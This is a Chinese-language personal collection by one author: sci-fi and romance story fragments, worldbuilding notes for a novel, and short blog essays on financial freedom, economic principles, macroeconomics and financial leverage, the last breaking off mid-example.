　　人们见过海啸淹没城市的恐怖。

　　但是没见过这般。对于未知的恐惧才是对于人们的最大绝望。

　　沃朗德此时却没有那般陷入黑暗不可自拔，而是大脑飞速运转起来。拼命思考着这一切的原因和可能的对策。

　　避难室里的那些研究员再怎么崇尚科学，终究也是一个个简简单单普普通通的人类。开始有人哭闹，有人叫喊，有人抱在一团。

　　沃朗德没有管他们。只是运转着。眉头紧皱，双手抱臂，低头冥思。他此时已经听不见外界的一切声音了。

　　黑色狂欢仍在继续。

　　沃朗德旁边的一个心腹研究员见他这副样子，心里有了底。他的这个样子已经看过无数次了。于是他开始安抚一众研究员，并要求他们噤声。

　　“凭什么！最后的时间了不能让我发泄吗？！谁知道未来会是什么鬼样子！”

　　……

　　但当那个心腹指向沃朗德时，每一个人都闭嘴了。

　　那时的沃朗德仍只在低头静静冥思，身边没有任何人。但是气场无比强大。那才是一个真正探索未知道路的科学家的影子。

　　有的人仿佛从他身上看见了斐波拉契，门捷列夫，凯库勒等一大众前辈科学家的影子，又想到了把科研当成糊口工具的自己，开始羞愧起来。

　　其他人安静下来的原因不一而足。他们都在静静等待沃朗德的话语。

　　此时的沃朗德有着让人安心无比的气场。

　　那个心腹笑了笑，自己只能为他做这么多了。

　　沃朗德飞速思考着。

　　等等……

　　沃朗德又一次看向了那块显示屏，正巧看见了有从黑洞里掉下去后形成一条带颜色轨迹的东西，那轨迹越来越小，直到最后还没落地时便已消失殆尽。

　　“赌一把吧，如果没错的话，”他这样想道，然后转过身对所有研究员说道，“诸位，带上你们身边所有能防身的东西，接待那些到避难室里来的难民。最后，愿意跟我一起外出救别人的，带上所有剧毒，强腐蚀性，易燃易爆的东西。祝各位好运。”他的语气无比坚定与冷静。

　　有研究员听到他后面的关键词，敏锐地看了一下显示屏。

　　明白了。

　　沃朗德说完就出去了，眼神如寒冰。

　　然后有两三个研究员跟了出去，接着，一个又一个……快出去接近一半的时候，有人自发地阻止了接下来想要出去的人。然后发号施令，搜索防身的东西，接待难民。

　　沃朗德拿上一把斧头就出去了，虽说他平时没有怎么锻炼，但身为男性，最基本的攻击性和力量型还是有的。出门后他就不知去向了。

　　出去救人的一众研究员们在看见人们溃散而逃，根本没人听他们讲话的时候，心都凉了半截。更有甚者，一把把其中有的成员推搡在地上，然后继续夺路而逃。人性在此时表现得淋漓尽致。他们能做的，就只有将那些在地上哭闹，或是被疯狂逃亡的父母所遗弃的孩子们抱到研究所里了。

　　有的人出去之后，看见没有人愿意接受救助，回来之后就再也没有去过。

　　有的人回来之后，身上伤痕累累，那是踩踏之下的幸存者。

　　有的人回来之后，身上沾满了血污，他身上发生了什么，没有人去问。

　　“沃博士呢？”有人突然惊醒。回顾四周。

　　“不知道啊，没有看见。”

　　……

　　这一干研究员们自己也慌了起来，没了沃博士他们根本就不知道接下来该怎么办。就算有人提出下一步行动计划，也没有威信力去实施。这时候就真的是群龙无首了。人群又开始骚动。有人开始想沃朗德那样强迫自己冷静下来去思考，但他们没有办法做到，那一丝丝恐慌和焦虑总还是在挥舞着，打断他们。

　　有人注意到那显示屏中“黑洞”们的密度已经远远不如以前了。甚至有的地方被清除一小块，发出了微微的光芒，如往常一样由太阳光弥散在天空里。像是……乘凉时往上望去那被树叶划得斑驳的小块光线。

　　“我回来了，情况怎么样？”沃朗德扶着一个女人出现了。他身上也是满身血污，像是被墨水泼过似的。而他身边的女人膝盖在微微颤抖像是马上快要坚持不住了一般。

　　有人依稀认出来了，那是沃朗德的母亲。

　　“还没有调查。”有人说。

　　“看一下身边一起出去的，有多少人没有在场。”沃朗德安顿好他的母亲后，冷静地发出指令。

　　“统计出来了，有两个人没有回来。出去的人当中有许多人轻伤，没有重伤。救回来的大多数是孩子和丧失行动力的人。”

　　“嗯……”沃朗德又开始低头沉思。

　　那个心腹打断了他，指了指显示屏：“或许对你有点帮助。”

　　“谢谢。”他盯着显示屏，双手撑着桌面。一言不发。

　　这时候有许多人陆陆续续到了研究所，他们并不是研究员们，而大多是他们的亲人。这些冲破一切阻拦来到他们身边的人，与他们哭着抱在了一起。

　　“这里很安全。”有人上前同沃朗德的母亲搭话。他没有问发生了什么，只是说了这句话之后静静地坐在她身边。

　　一切喧闹都屏蔽在沃朗德的思考之外。

　　但是就算是他，现在也想不出来什么方法了。眼前情况太复杂，已经超出了他的认知范围。现在的他完全被他母亲之前面对的那头，四眼半人高的丑陋怪物所震撼。这一切已经无法用科学来解释了。

　　他脑中想着这些，然后注意到了显示屏上也出现了那种怪物，走在大街上，大摇大摆，像是在炫耀一样。

　　他忽然觉得有点恐惧。

　　他的信仰现在已经命悬一线了吧。

　　然后，他从显示屏里看见了黄绿交驳的逆行者。明明之前他之前在历史书上极其讨厌看见这种颜色，那是贪婪，暴力，武力的象征。但这个时候竟然有一种莫名的安心感。他现在很庆幸他出生在莱科伊这个帝国。估计现在旧桑弗斯和加特罕已经乱成一团了吧。

　　果然对付这种情况还是交给他们比较合适啊。所以……就让我……先休息一下吧……

　　沃朗德撑着桌面的双手一软，滑坐在地面上。

　　他本来就不是这种适合当领袖的人。

　　之后，所有的“黑洞”都消失了，时间又恢复了太阳照耀的日常。像梦境一样。但残留在地上的无数外来生物还是时时刻刻地在提醒着人们，这一切都不是梦境，人类已经回不去了，所有关于外星生物的谜题，憧憬都在一瞬间解开，如同变戏法的人将碗揭开那样，露出一颗红红的珠子。所有的人都在讨论着这个话题。互联网一时间爆炸。军队为了清除这些危险的外星生物死的死，残的残，元气大伤。但是仍有无数的生物留在了地上，那是连军队这种暴力机器都无可奈何的未知生物了。

　　现在，原本就还在内战的旧桑弗斯和加特罕变得更加危险，那里的人们民不聊生。而第一大帝国德瑞维亚现状也不太好过。只有莱科伊，幸福度最高。



　　南国微雪

　　2020 年 2 月 29 日

夜天盛世夜天梦

　　云夜悠悠地坐起身，揉了揉自己迷蒙的睡眼，打算像往常一样去上学。但是打完哈欠发现自己房间内的陈设完全不一样，他开始有点慌了。

　　原本应该滴答滴答响的时钟，此刻悄无声息，取而代之的是挂在寝间正中的一把弓箭，旁边还有两把剑，看起来很锋利的样子，剑刃上闪着丝丝寒光。

　　外边阳光正灿烂。一切仿佛都是梦境。

　　云夜的床旁边，有一套衣服，看样子似乎是他的。是那种古时的汉服。

　　他有点打颤。不知怎的有一种不好的预感。

　　不管怎样，他决定穿上衣服出去看一下，他的理性告诉他，现在不能慌，一定要找出这一切的根源。但他的情绪又告诉他，他现在可能正抓着悬崖上的一棵歪脖子树，命悬一线。

　　胡乱地穿了衣服，安定了一下自己稍微发颤的双腿，开始往外走去。

　　——古建筑。飞檐下边还挂有大型流苏，随风摇曳。

　　他的预感准确。

　　但他没料到，他见到的人的表情。

　　似乎他们跟他一样慌张。他们有男有女，人数不多，但是瞳神里个个闪烁着恐惧，以及在那下面的好奇。他能看出来，因为多半自己也是这样。

　　村子很规整，整体呈放射状，圆形边界上一户接着一户，有一条路做半径通往圆心，而圆心——正中央——是一块极大的石碑。

　　遮天蔽日。

　　云天只能这么想。因为那石碑实在太大，甚至上面还有绳索和梯子。他在远处看不清，但是石碑上似乎密密麻麻的，泛着两种不同的颜色，一个是底色，一个是刻出字的鱼肚白。

　　云夜慢慢地走近那块石碑。

　　慢慢地，慢慢地。

　　只有他一个人这么做。其他人似乎都没看到似的。但云夜似乎没有注意到这些。

　　村庄古怪的形状，中间巨大的石碑，放射状的道路，以及——石碑正对着的那个村庄出口，一切都像是有人在做什么邪恶的法阵，做什么古怪的妖术，显得那么不自然。

　　越走近那块石碑，云南越觉得不对劲。

　　但是他控制不了自己。那是一种原始的野性的冲动，像是想要捕获猎物就必须拼尽全力奔跑赶上猎物一样，他的意识驱逐着他往石碑走去。

　　石碑正对的那个出口外面，似乎挤满了人，红红的衣服一团接着一团。明明刚才都还不见人的。但是云夜只是这么想了一下，随即便把目光移回到了石碑身上。

　　——夜——天——盛——世——

　　石碑正上方四个恢弘的大字仿佛要铭记那段光辉的历史似的，写得无比巨大，在阳光照耀下有种烫金的闪耀感。

　　下面是千万言的史书记载，但是字迹云夜看不懂。

　　一路往下，右下角还有几个字，比“夜天盛世”稍小，他为数不多能看懂的字：

　　辉煌过往，迟念，渐忘，遂记，无他者迫。咸谏，未录，私以记者，望后者以鉴，离于幻境。

　　公元壹玖壹玖年，云夜，书。

　　云夜看到最后的署名之人，愣了一下。

　　同名……

　　同名？

　　那云夜上面还有一个手印，不知怎么刻上去的。云夜看了看自己的右手手掌，然后把自己的手掌和石碑上的手印重合了上去。

　　其他村子里的人在这一瞬间，突然看到了这一幕。

　　霎时间，天旋地转。

　　云夜在失去意识前，只听到了，从村口那个方向传来的无数人的惨叫。

　　“ 夜上诹枝将军，城南村派去刺探情况的士兵，无一人归来。士下又派人去观察情况，得到的回答是：先前士兵们，全部离奇死亡。身首异处。颈部割口圆整，事非人为。”

　　“ 什么？有这种事？”

　　“ 望将军决策。”

　　“ 带我去看看。”

　　“ 这……怕是不妥吧？”

　　“ 我意已决。”

　　“ 遵命。”

　　一个高大魁梧的人站在他的面前，神情恶煞，不像善茬。

恋人之间的秘密

　　恋人似乎是一个很美好的名词，对于陆羽宁来讲尤其深有感触。每次念到杨雪韵名字的时候心里都会有一种止不住的欢欣和雀跃。感觉心里暖暖的。

　　而至于陆羽宁和杨雪韵是多久成为恋人的，两人早已都不关心了。因为这对笨蛋情侣早就感觉遇到对方花尽了世上所有的好运气。杨雪韵自己则更深有感触，因为她身边很多朋友说她们的男朋友多多少少都有些问题。而杨雪韵在陆羽宁身上却只能感觉到温柔，无尽的温柔，以及坚强和上进。

　　陆羽宁对此却浑然不知。因为他注意力全被他可爱的女朋友所吸引，只觉得她善良，可爱，温柔与体贴。根本无暇关注自己。

　　关键是，这两人长相都还不错。陆羽宁阳光帅气，脸上时常带着笑容，杨雪韵漂亮可爱，一头长发很温柔。所以这两人出去就特别吸引人注意，而对于他们的朋友来说，这俩人可把他们酸得够呛，像是在柠檬汁里洗过澡一样。

　　毕竟像这种神仙眷侣，可不是每个人都能有的。


　　而今天，是他们两人交往的周年纪念日。这两个笨蛋只记得今天是纪念日，却不记得交往了几年了。

　　“这边这边！”杨雪韵朝陆羽宁喊道。

　　“真是的，怎么这么慢……”杨雪韵有些小小的不满。

　　“哈哈哈，抱歉，让你久等了吧。”陆羽宁挠了挠头，打了个哈哈。

　　“没有没有，其实我也才刚刚到。”杨雪韵笑了笑。

　　陆羽宁实在是想不通，为什么本来能够早点到的，但这小妮子偏偏昨天晚上打电话说，要他明天迟到。

　　他当时就懵了。

　　嘛，不过陆羽宁素来就惯着她，也就由她去了。

　　但是他还是按自己的习惯准时到了，听她的话在远处稍微等了一会儿。同时暗暗观察早已经到了的她在干什么。

　　杨雪韵其实早就发现他了，见他听自己的话还是很开心的。不过偷偷瞄到他一直在盯着自己，不由得有些不自在，脸颊发烫。

　　自己看起来应该还是比较整洁的吧？

　　杨雪韵无意识地低着头，玩弄着自己的裙子褶边，看起来异常惹人怜爱。

　　“啊啊啊，这也太可爱点吧……”在远处的陆羽宁快被他的小女朋友可爱死了。

　　估摸着时间差不多了，陆羽宁向她走去，于是才出现了上面那一幕。


　　“那个……我能问问吗？故意叫我迟到是因为这样做比较有感觉？”虽然感觉自己比较毁气氛，但还是忍不住开口了。

　　“对啊对啊，不觉得就像动漫里面的男女主人公一样吗？”杨雪韵眼睛里冒着星星，一脸兴奋，“其实我早就想试试了，只是昨天突然想起来。”

　　“嗯……果然是这样吗……”陆羽宁苦笑了下。

　　“怎么……有什么不满吗？”杨雪韵嘟起脸，横眉竖眼地瞪着他。

　　糟糕，危险了。

　　“没没没，只是觉得你太可爱了。”陆羽宁连忙打了个诨。

　　“你呀，总是这样，就知道嘴甜，”明知道他在骗人，但她心里却还是很开心，杨雪韵真想骂这么不争气的自己，“还说自己不会夸人……”

　　“我真的不会夸人。”陆羽宁此时大发邪心，想逗逗这个女孩子。

　　“因为……”他顿了顿。而这也吸引了杨雪韵的注意。

　　然后……

　　陆羽宁这家伙开始从头到脚细细端详了杨雪韵一番。

　　“因为你今天真的很可爱嘛……”他用真诚的眼神直视着杨雪韵。

　　杨雪韵有点受不了他这种热情的视线，把头别到一边，脸颊开始发烫。

　　嘿嘿，奏效，总算是糊弄过去了。

　　“别愣了，再脸红一会儿就没时间了。”陆羽宁笑着调侃道。

　　“嗯……”杨雪韵只是小小地应了一声，仍然低着头。从一旁看，仍然能看见她发红的耳根。

　　哎，怎么就找了这么一个容易害羞的笨蛋啊……

　　叹了口气，陆羽宁拉起杨雪韵的左手，开始今天的约会计划。


　　“现在才9点，要不咱们先去吃个饭吧。”陆羽宁想了想，说道，“你肯定因为起床啊，化妆啊什么的肚子很饿的吧？”然后他看向自己的恋人。

　　“嗯……”说实话，对于杨雪韵来说，承认自己肚子饿还是蛮不好意思的。

　　“嘿嘿，我就猜到了。”这么说着，陆羽宁对她俏皮地一笑。

　　这时候阳光，照在他素净天真的脸上，而他背后是熙熙攘攘的人群。种种美好让杨雪韵产生了一种恍若隔世，宛在天境的错觉。

　　这个人大概就是她的天使吧。她不由得这么认为。然后更坚定了她心目中的想法。

　　“喂？”陆羽宁看她愣住了，拿手在她眼前晃了晃。

　　“啊……不好意思……”杨雪韵这时候才反应过来。

　　“怎么约会还出神啊，是昨天晚上没有睡好吗？”

　　“没有啊，为了和你见面，昨天睡得很足呢。”

　　“喂，你怎么也开始说起情话了……”他顿了顿，随即又问，“那你刚才是怎么回事？”

　　“那是女孩子的小、秘、密、哦？”她眨了眨眼。

　　这女人竟然该死的甜美。

　　……

　　陆羽宁叹了口气。


　　走了不少的路，陆羽宁最终把她拉进了一家小面馆。

　　“为什么吃个早饭要走这么远的路啊……”杨雪韵有点无语。

　　“嘛，你就暂时先不要管这个了嘛，这里的面馆可是我精心挑选过的，肯定符合你的口味！”陆羽宁自信满满地说。

　　看着他那副得意的样子，杨雪韵被激起了好胜欲，想要痛扁这副得瑟的脸。

　　“是吗？我对于食物可是很挑剔的哦？”

　　“你就放一百个心吧，包您满意嘞。”

小说设定

时间背景：公元2191年，新世91年。第一次高等战争爆发之后。

地域背景：

　　德瑞维亚，第一大帝国

　　旧桑弗斯，第二大帝国

　　　　　　　　（内乱，势力众多）

　　加特罕，第三大帝国

　　　　　　　　（内乱，对领导者信任度最高）

　　莱科伊，第四大帝国

　　　　　　　　（训练有素，幸福度最高）

  1. 战争年代，魔兽出没，四国争斗。（两国内乱,鱼龙混杂）

  2. 原科学组织迅速崩溃，大部分成立新组织，（名称暂定）负责研究新生物。少部分人坚持原来科学观，引入玄学观点后，发现如下真理。

  3. 世界过于拥挤，每个细胞一个灵魂。多灵魂构成意识。（组成细胞失败原因）

  4. 存在上帝，不能观测是因为上帝是意识体，存在于暗物质聚合之中。因此观测每个人的一举一动非常容易。类似于细胞组成大脑，进而构成意识。通过纠缠传递信息。

  5. 人类是被养大的。（后期设定）

　高等文明（暂定）为培养士兵和傀儡培养人类。但后期人类文明失去控制。

  1. 每个人被设定为0，可计算。各种特性，性格是加在其上的数值，有正有负，但其和必为0，所以世界没有绝对的善与恶。

　当有人打破规则晋升为1时，要么死亡要么物质形态消亡，成为精神体（神），辅助管理世界。需要经过毁灭性考核。

  1. 各种文明存在于各个平行世界中，互不打扰。当成长到可穿越时空时，受到新宇宙法则约束，不能毁灭比其低级的文明。除此之外，无特别其他约束。

  2. 熵能崩。 当一个文明发展到一定程度， 很多能量储存在这个文明所制造的生物，物品中， 根据能量守恒定律，周围的能量不够这个文明继续生存下去，并且该文明的熵也已经降到一定程度。

　　所以该文明会毁灭，重新恢复到无序状态。

　　所以文明的毁灭有其周期性。

  1. 相反人守则。
  2. 宗教统一，神明是同样的神明，但是在不同宗教有不同称号和经历。神明并不理会这些，让各宗教自圆其说。
  3. 大范围零和游戏。即在各个范围内，个人正负能量范围，相反人范围，文明范围，宇宙范围都遵守零和。在零和时，阴阳两个宇宙整体一起计算。
  4. 阴阳两个宇宙通过明暗物质传递信息，达到沟通和协调。
  5. 黑洞是连接阴阳两个宇宙的连接点，补充消耗的明暗物质。
  6. 两个世界的人在坠入黑白洞连接点时，属于该宇宙的意识形态必须消亡，以保持能量质量不变。组成该意识形态的微观粒子穿梭黑白洞后，依照另一宇宙的数学物理法则进行重组。
  7. 苦行僧如若信念坚定，则可在死后直接成为神明。
  8. 神明由阴阳两个宇宙，明暗物质意识联合体进行监督，也即各神明之间互相监督，如若玩忽职守，组成该神明的明暗物质互相之间和与外界不再通信。如果一个神明与明暗物质意识联合体失联超过三天，则资格消失。明暗物质重新恢复通信。
  9. 人性本善。
  10. 万物皆起源于概率，运气和自私。
  11. 人死后会进入另一宇宙重新生活。可以选择立即进入，或是以意识体存在于该宇宙，完成自己未完成的事情，例如守候家人，复仇，完成心愿等。但代价是会进入一个队列，该队列以概率进行平等筛选，筛中后才能进入另一宇宙进行转生。
  12. 灵魂需要像身体一样进行洗澡洗净。时期因人而异。该过程发生在睡觉的时候。所以为什么有时候，有的人会有清醒一瞬间灵魂堕入身体的感受。
  13. 人做的梦境，是另一宇宙内自己的相反人所做的真实事情，按照该宇宙的人际脉络，规则，面孔等进行映射后的结果映像。
  14. 明暗物质通信自有一套规则，无法观测。明暗物质在各自所属的世界内通信时，表现为量子纠缠形式。
  15. 灵魂不进行清洗会发生灵魂疲劳和灵魂病变，影响意识，进而影响行为。极端思想和极端行为是环境和灵魂病变综合作用的结果。清洗地方在二级神明处。
  16. 生物科学，脑科学，神经科学等类似科学进展缓慢，是因为每个人脑中枢都保有纠缠对话信道。该信道有保护机制，类似于cpu。
  17. 二级神明就是从各自星球上选出的，用于辅佐神明管理的意识体。如菩萨，耶稣等，其实都还是那些人。






男主角：沃朗德valond

　　（由valorous勇敢的，和fond温柔、宠爱的拼合而成）

女主角：秋蕾雅curiya

　　（单纯好听罢了，前几个音与cute发音相近，有可爱含义）

Chapter 1

　　Although the technology exploration has changed the people's life deeply, the basic sciences have little progress that almost can ignore.

　　And this is a completely different world. There are only four countries,of course, their area covers almost of the earth.

　　Dreviia(德瑞维亚),Old Sampers(旧桑弗斯),Garthan(加特罕) and Laikoii(莱科伊). According to their population,covering area and property,all the inhabitants make an order of their power. However,the 2nd and the 3rd countries are at war.


　　Lyrin is always fretful recently with no reason he can find.But he is feeling that something is going to happen.Futhermore,no one can change this tendency.It is so unforgettable that like his soul is hit heavily by a iron hammer.

　　"Slow down,Lyrin,your rhythm drives me mad."Reglis says impatiently.


学海计划 | Patchouli Project

　　频道五周年之际，同步启动“学海计划”。


　　此计划初衷如下：

　　1. 如果知识不转为输出，则是一种消费行为； 　　2. 希望此频道能带来情绪以外的、非空洞的实在作用； 　　3. 知识就是力量，内容零碎总比没有了解要好。


　　注意事项：

　　1. 频道主学识浅薄，所述难免不周，敬请订阅者批评斧正； 　　2. 若是想系统深入某一领域，请咨询专业人士，频道所述内容仅作参考； 　　3. 因参加工作，时间繁忙，故所有内容均以短篇形式给出，不定时发布，字数约三百以上一千以下。如有参考文献，尽力标出； 　　4. 学科分类及细分领域不遵守《中华人民共和国学科分类与代码》（标准号：GB/T 13745-92）； 　　5. 所有相关内容首段给出涉及学科、细分领域及中心话题。 　　6. 用语不完全规范科学和严谨，力争在专业与“说人话”中取得平衡，所有内容仅供参考。


　　因频道主才疏学浅，经审慎修订，本计划仅初步涉及以下频道主所粗浅了解的寥寥几处领域，后视情况逐步添加：

　　1. 医学：药理学，生理学，系统解剖学； 　　2. 心理学：心理学导论，普通心理学； 　　3. 计算机科学：计算机组成原理，操作系统，数据结构与算法，计算机网络； 　　4. 语言学及文学：语言学，日语，法语，韵律学，写作手法，诗歌，小说； 　　6. 哲学：哲学导论； 　　7. 法学：法理学，民法学，刑法学，中外法学比较； 　　8. 管理学：管理学导论； 　　9. 经济学：宏观经济学，微观经济学，税法； 　　10. 金融学：金融学导论，保险，银行，理财，证券，投资学； 　　11. 艺术：摄影，美术，音乐，舞蹈； 　　12. 社会科学：人际关系学； 　　13. 运动与人体科学； 　　12. 自我提升：思维模式，行为分析，生活常识等。


　　再次声明，因频道受众广泛，行业众多，已知就有：医疗、公安、证券、航空、科技、航天、自媒体、科研、金融、心理疗愈、行政、家政、艺术等。故所述内容难免不周，望请各订阅者海涵，同时恳请各专业人士交流、批评、斧正。

　　所有要求修正的专业内容经核实后，贡献者将附在该内容后的感谢名单中。

　　再次感谢众订阅者的支持。

　　叩首，再拜，伏乞，赐教，草草。


　　南国微雪 Miyuki

　　2024 年 2 月 23 日

经济学 | Economics

财务自由

写在前面

正文

　　本文讨论“经济学/管理学”下，“财务管理”的“财务自由”话题。

　　财务自由的定义是：被动收入大于日常支出¹。 这个定义很严格，“想买什么就买什么”是对财务自由的错误定义。

　　定义中的被动收入，指“不去工作也能产生收入”。一个简单的评判标准是：在自己睡觉时，能不能潜在地产生收入。能够产生被动收入的方式不多，在新时代背景下，一般有以下几种方式：

　　1. 版税或专利等知识产权费用；

　　2. 投资（各种形式的投资，包括不限于有价证券、委托代理）；

　　3. 租金；

　　4. 广告费；

　　5. 退休金；

　　6. 自媒体所带来的流量收入和文章解锁等不分时段的收入。

　　被动收入不代表不需要投入前期成本，一般来说，前期工作一旦完成，被动收入的现金流框架便能自动运行，不分昼夜。

　　根据定义，财务自由的另外一个影响因素是“日常支出”。若是日常支出达到一个很高的水平，例如房租，按揭，保养，高昂的订阅费用等，则可能永远也无法达到财务自由。这就意味着，高日常支出的情况下，人必须工作。

　　另外，需要说明的是，很多人所梦想的“存一千万，吃银行的利息”过着财务自由的生活，这种想法极为不现实：

　　1. 银行的利息使用单利计算，而通货膨胀使用复利计算²，在长时间线下，货币的时间属性会使存款贬值的速度越来越快，最后无法供给支出；

　　2. 这种模式没有构建一个可以将通货膨胀忽略的被动收入框架；

　　3. 这种情况还有一个默认的前提，因为银行使用单利计算，日常支出注定无法维持在一个相对高位，以活期年利率 0.25% 为例，每月的利息为：10,000,000×0.25%÷12=2083.33 元。

　　财务自由的要义便是“开源节流”，并且是“开‘被动收入’的源”。 而一味的开源节流，可能会达不到正常人自己想要的生活水准。譬如，有人可能会想在某些时间，来一次旅行。如何平衡理想和支出，需要经过慎重的考虑和平衡。

　　一般来说，财务自由的状态，也就是退休的状态。

　　最后，财务自由的状态，一般人很难达到。财务自由的大部分人，本质上是食利阶级³。如果没有其他群众作为基础，例如提供租金的租客和缴纳版税的出版商，财务自由的人仍然需要工作。

　　所以，财务自由，注定只能是金字塔顶的小部分人。

　　关于文中所涉及的通货膨胀等经济学话题，以后再聊。


　　南国微雪 Miyuki

　　2024 年 2 月 24 日

贡献者

　　1. 被动收入大于日常支出（来自【PufferOverflow | 🐡】的补充）：

　　资产 * ( 收益率 - 通胀率 ) > 开销，即为财务自由。

　　2. 单利复利（来自【PufferOverflow | 🐡】的补充）：

　　与单利复利无关，与通货膨胀率有关。

　　3. 食利阶级（来自【PufferOverflow | 🐡】的修订）：

　　是否食利，取决于购买“财务自由之人所提供的产品或服务”的人，是否创造出了比购买价更高的价值。如果被动收入发生在生产的中间环节，而非终端，则不为食利阶级。比如一个房东，如果租客花钱仅用来满足生存，则是食利。

封面图

设计师 | 南国微雪

消费与投资

经济学的重要性

写在前面

正文

　　本文讨论“经济学”下，“重要话题”的“经济学的重要性”话题。

　　经济学的地位比较尴尬，经济学中，政府行为和经济表现紧密相关。所以，它和政治学关系紧密，由此遭到不少人反感。

　　但经济学只有一个最终目的：让经济更繁荣，让人民过上更好的生活。其他的一切都是手段。

　　经济学不是科学。 经济学是基于数据统计和观测的一门经验学科，它能给出解释和指导战略，却没有严格的可证伪性。

　　对普通人来说，经济学最重要的作用，就是了解干预手段（如加息、财政赤字货币化）可能会造成的后果，提早做好应对准备。放大此作用，可通过预判别人的预判，在创业或面对未知时，达到投机或先人一步的效果。

　　经济学是所有人的必修课。 只要产生交易，就必然置身于经济的洪流中，无法独善其身（梭罗一类人除外）。

　　我们需要生存，需要投资，让自己的财富保值增值，不被时间侵蚀，也需要保护自己和所爱的人们，所以需要了解经济学。

　　国内房地产市场突起时，许多人凭借风口和战略眼光，将不动产资产变现，实现财富爆炸式增长。我们不知道下一个风口是什么，但是可以在嗅到下一个风口气息时，利用经济学知识及时做出反应。

　　希望经济学的知识网络，能给予读者一些观测当今社会的，前所未有的视野。相比以前一无所知时，能做到知晓如何避免经济陷阱，一窥未来发展端倪。

　　只要能在钢铁洪流下，保护好自己和所爱的人们，更好地生存，那么学海计划的经济学板块，就算成功了。


　　南国微雪 Miyuki

　　2024 年 3 月 26 日

封面图

设计师 | 南国微雪

重要的经济学原则

写在前面

正文

　　本文讨论“经济学”下，“重要话题”的“重要的经济学原则”话题。

　　经济学的原则向来说法不一，此处以曼昆经济学原理作为参考：

　　1. 人们面临权衡取舍；

　　2. 某种东西的成本是为了得到它而放弃的东西；

　　3. 理性人考虑边际量；

　　4. 人们会对激励作出反应；

　　5. 贸易能使每个人状况更好；

　　6. 市场通常是组织经济活动的一种好方法；

　　7. 政府有时可以改善市场结果；

　　8. 一国的生活水平取决于它生产物品与劳务的能力；

　　9. 当政府发行了过多货币时，物价上升；

　　10. 社会面临通货膨胀与失业之间的短期交替关系。

　　学海计划将在此基础上添加两条，经济学界普遍认同的另外两条原则：

　　11. 一次交易，必定有买卖双方，不会只有一方；

　　12. 一个人的支出，是另一个人的收入。

　　正如欧几里得几何学，浩如烟海的定理都从五大基本公理中推出一样，以上的原则组合起来，会得出一些意料之外但普遍运行的规律。

　　来看几个例子：

　　I. 发生恐慌型抛售（比如股灾）时，因为买方太少，卖方太多，供过于求（原则 11），许多人会将价格下压以减少沉没成本，亏本好过分文不剩（原则 2），市场将形成踩踏，变成恶性循环。

　　II. 当经济下行周期来临时，许多人应对危机将增加储蓄（原则 4），由此消费减少（原则 1），由于所有人的支出都减少，对应的收入也将减少（原则 12），经济下行的特征将愈发明显——“所有人都在为过冬做准备时，冬天便真的会降临”。

　　III. 政府在下行周期时，可举债提振消费或进行投资（原则 7），进而增加每个人的收入（原则 12），但资源总是有限（原则 2），因此物价上涨（原则 9，如果央行发行货币）。

　　类似的经济学规律还有很多。经济学中，由于原则组合形成的规律并不少见，甚至正反馈循环（良性循环或恶性循环）的现象也不少见，例如通货膨胀。

　　然而，并 不是先有原则，再组合形成规律。 这些原则是人们在从事经济活动时的客观事实，并不为组合等人为意志所转移。经济学只是将这些规律提取出来，并加以运用 ，试图摸清和干预经济运行。

　　所以，经济学的原则，理论上不止以上 12 条。

　　而 关于市场最核心的运行原则，其实只有一条：供求关系 ——供过于求，降价；供不应求，涨价。

　　因此，认识经济学原则时，应当灵活看待。


　　南国微雪 Miyuki

　　2024 年 3 月 26 日

封面图

设计师 | 南国微雪

经济与金融

宏观经济学概述

写在前面

正文

　　本文讨论“经济学”下，“宏观经济学”的“概述”话题。

　　宏观经济学话题过于复杂，牵涉因素众多。学海计划预计在涉及该话题时，为确保读者看懂，将不采用“严肃理性”的叙述风格。

　　同时，每个话题均预计使用 2-3 个篇章（或许更多），力求讲清楚说明白。

　　正如数学的公理一样，经济学有许多原则（详见《重要的经济学原则》 ），包括但不限于：

　　1. 资源总是有限，人们总需要权衡取舍。

　　2. 一件事物的成本，是为了得到它所放弃的事物。

　　3. 人们会对激励做出反应。

　　绝大多数教材，都会告诉读者，衡量一国经济状况的指标是 GDP，CPI 或 PPI，就业率和通货膨胀率。然后给出这些指标的定义和意义。 但这不起什么作用，读者只是在死板地接受这一结论，没有厘清这些指标背后的逻辑关系，不知道这些指标的由来。 零散，不能串通成一个网络。学海计划力求打通这一网络。

　　宏观经济学部分的最后，将利用部分经济学知识，解读当下的政治经济形势（经济学与生活板块），力求剖析当今社会现象背后的原因（部分现象可能具有时效性）。


　　南国微雪 Miyuki

　　2024 年 3 月 21 日

封面图

设计师 | 南国微雪

金融学 | Finance

财务杠杆概述

写在前面

正文

　　本文讨论“金融学”下，“理财”的“财务杠杆概述”话题。

　　财务杠杆（以下简称为杠杆）可列为经济学也可列为金融学内容。围绕实用主义，此处列入金融的理财话题。杠杆话题因过于宏大，可能不止一篇。

　　杠杆的定义就四个字：举债投资。杠杆离普通人生活很近，并不遥远。对中国人来说，普通人能接触到的最大杠杆是房贷。

　　买房在经济上，属一种投资行为。而寻求借贷进行投资即为杠杆。因房地产的资产属性、中国的土地财政和中国人对于房子的重视程度，过去十几年房地产投资（投机）行为，让为数不少的人跨越阶级。近年来由于国家供给侧结构性改革和去杠杆化，在可见的未来，杠杆率还会进一步下降，但核心城市的核心地段房地产（也即核心资产），由于其配备的资源和资产属性，房价将依然维持在高位，并有可能进一步上涨。如果核心资产被大面积买卖，将是金融战争的前兆，这是另一个话题了。

　　普通人能使用的常见杠杆包括但不限于房贷、保险、信用卡杠杆（借信用卡的钱投资，到期再还）、股票等金融产品（常见手法为做空）。商人可使用的杠杆范围更大，包括不限于银行融资、生产资料杠杆（工厂设备机器等）、软件版权等无形资产杠杆。

　　注意，上述杠杆中不包含车贷。因为车属于消费品，一般来说不具投资属性。并且，经核算成本后，一般人贷款买车，其车贷不仅不算杠杆，还算恶性负债。电子产品等消费品同理。

　　杠杆具有乘数效应，良性杠杆对投资者的利益将是加成，相反，恶性杠杆将是屋漏偏逢连夜雨的恶性打击。 最后若为法人则可能走上破产倒闭和资产清算一路。但针对于高风险或风险不可控的投资时，没有人知道所加杠杆为良性还是恶性。

　　来看一个例子：

　　现在有 10 元钱，为了博取更大收益，加上 9 倍杠杆，借 90 元，合计 100 元。如利率为 1%，则连同本金需还 90+90×1%=90.9 元。现在协议到期：

　　1. 投资者手中仍为 100 元：亏本。需要从自己的本金中抽出 0.9 元偿还利息。

